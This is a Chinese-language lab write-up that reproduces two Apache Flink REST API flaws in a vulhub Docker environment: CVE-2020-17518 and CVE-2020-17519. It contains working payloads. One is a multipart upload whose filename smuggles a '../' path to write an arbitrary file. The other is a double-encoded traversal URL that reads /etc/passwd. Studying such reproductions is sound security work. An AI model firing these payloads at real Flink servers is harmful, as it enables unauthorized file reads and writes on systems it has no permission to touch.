声明

好好学习,天天向上

漏洞描述

Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。

编号:CVE-2020-17518&17519

Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞。

CVE-2020-17519:攻击者可通过REST API使用…/跳目录实现系统任意文件读取;

CVE-2020-17518:通过构造恶意的http header,可实现远程文件写入。

影响范围

CVE-2020-17518

Apache Flink 1.5.1 ~ 1.11.2

CVE-2020-17519
Apache Flink 1.11.0、1.11.1、1.11.2

复现过程

CVE-2020-17518

这里使用1.11.2版本

使用vulhub

/app/vulhub-master/flink/CVE-2020-17518

使用docker启动

docker-compose build
docker-compose up -d

环境启动后,访问

http://192.168.239.129:8081

BP抓包,修改

POST /jars/upload HTTP/1.1
Host: 192.168.31.139:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/cve-2020-17518"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

在这里插入图片描述

进入docker查看

关闭镜像(每次用完后关闭)

docker-compose down

CVE-2020-17519

这里使用1.11.2版本

使用vulhub

/app/vulhub-master/flink/CVE-2020-17519

使用docker启动

docker-compose build
docker-compose up -d

环境启动后,访问

http://192.168.31.139:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

在这里插入图片描述

关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build
docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down

更多推荐